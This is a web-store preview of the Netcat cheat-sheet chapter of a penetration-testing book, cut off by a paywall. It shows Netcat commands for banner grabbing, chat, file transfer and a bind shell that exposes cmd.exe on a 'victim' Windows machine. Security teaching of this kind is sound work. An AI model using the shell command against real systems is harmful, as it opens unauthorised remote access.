Search icon CANCEL
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Conferences
Free Learning
Arrow right icon
Arrow up icon
GO TO TOP
Practical Web Penetration Testing

You're reading from   Practical Web Penetration Testing Secure web applications using Burp Suite, Nmap, Metasploit, and more

Arrow left icon
Product type Paperback
Published in Jun 2018
Publisher Packt
ISBN-13 9781788624039
Length 294 pages
Edition 1st Edition
Languages
Arrow right icon
Author (1):
Arrow left icon
Gus Khawaja Gus Khawaja
Author Profile Icon Gus Khawaja
Gus Khawaja
Arrow right icon
View More author details
Toc

Table of Contents (18) Chapters Close

Preface 1. Building a Vulnerable Web Application Lab 2. Kali Linux Installation FREE CHAPTER 3. Delving Deep into the Usage of Kali Linux 4. All About Using Burp Suite 5. Understanding Web Application Vulnerabilities 6. Application Security Pre-Engagement 7. Application Threat Modeling 8. Source Code Review 9. Network Penetration Testing 10. Web Intrusion Tests 11. Pentest Automation Using Python 12. Nmap Cheat Sheet 13. Metasploit Cheat Sheet 14. Netcat Cheat Sheet 15. Networking Reference Section 16. Python Quick Reference 17. Other Books You May Enjoy

Practical examples

You've seen how to use Netcat in this book. In the following list, you will see a few popular, practical examples:

  • Banner grabbing (HTTP):
nc -vn 10.1.1.100 80
After pressing the Enter key to execute the command, type anything, such as Hello SERVER. Then the server will send back the banner header.
  • Simple chatting: Start typing the message that should be sent to the other party on any side:
    • Set up and listen on one side:
nc -v -lp 1234
    • On the other side, connect to the listener:
nc -v [Remote IP] 1234
  • Transfer files:
    • Listen on one side:
nc -vn -lp 1234 > file.txt
    • Send the file from the other end:
nc -vn <other side remote IP> 1234 < file.txt
  • Binding a shell:
    • Assuming that the victim is the Windows machine, start listening:
nc -lvp 1234 -e cmd.exe
    • Connect to the victim host from the attacker machine:
nc -vn...
lock icon The rest of the chapter is locked
Register for a free Packt account to unlock a world of extra content!
A free Packt account unlocks extra newsletters, articles, discounted offers, and much more. Start advancing your knowledge today.
Unlock this book and the full library FREE for 7 days
Get unlimited access to 7000+ expert-authored eBooks and videos courses covering every tech area you can think of
Renews at €18.99/month. Cancel anytime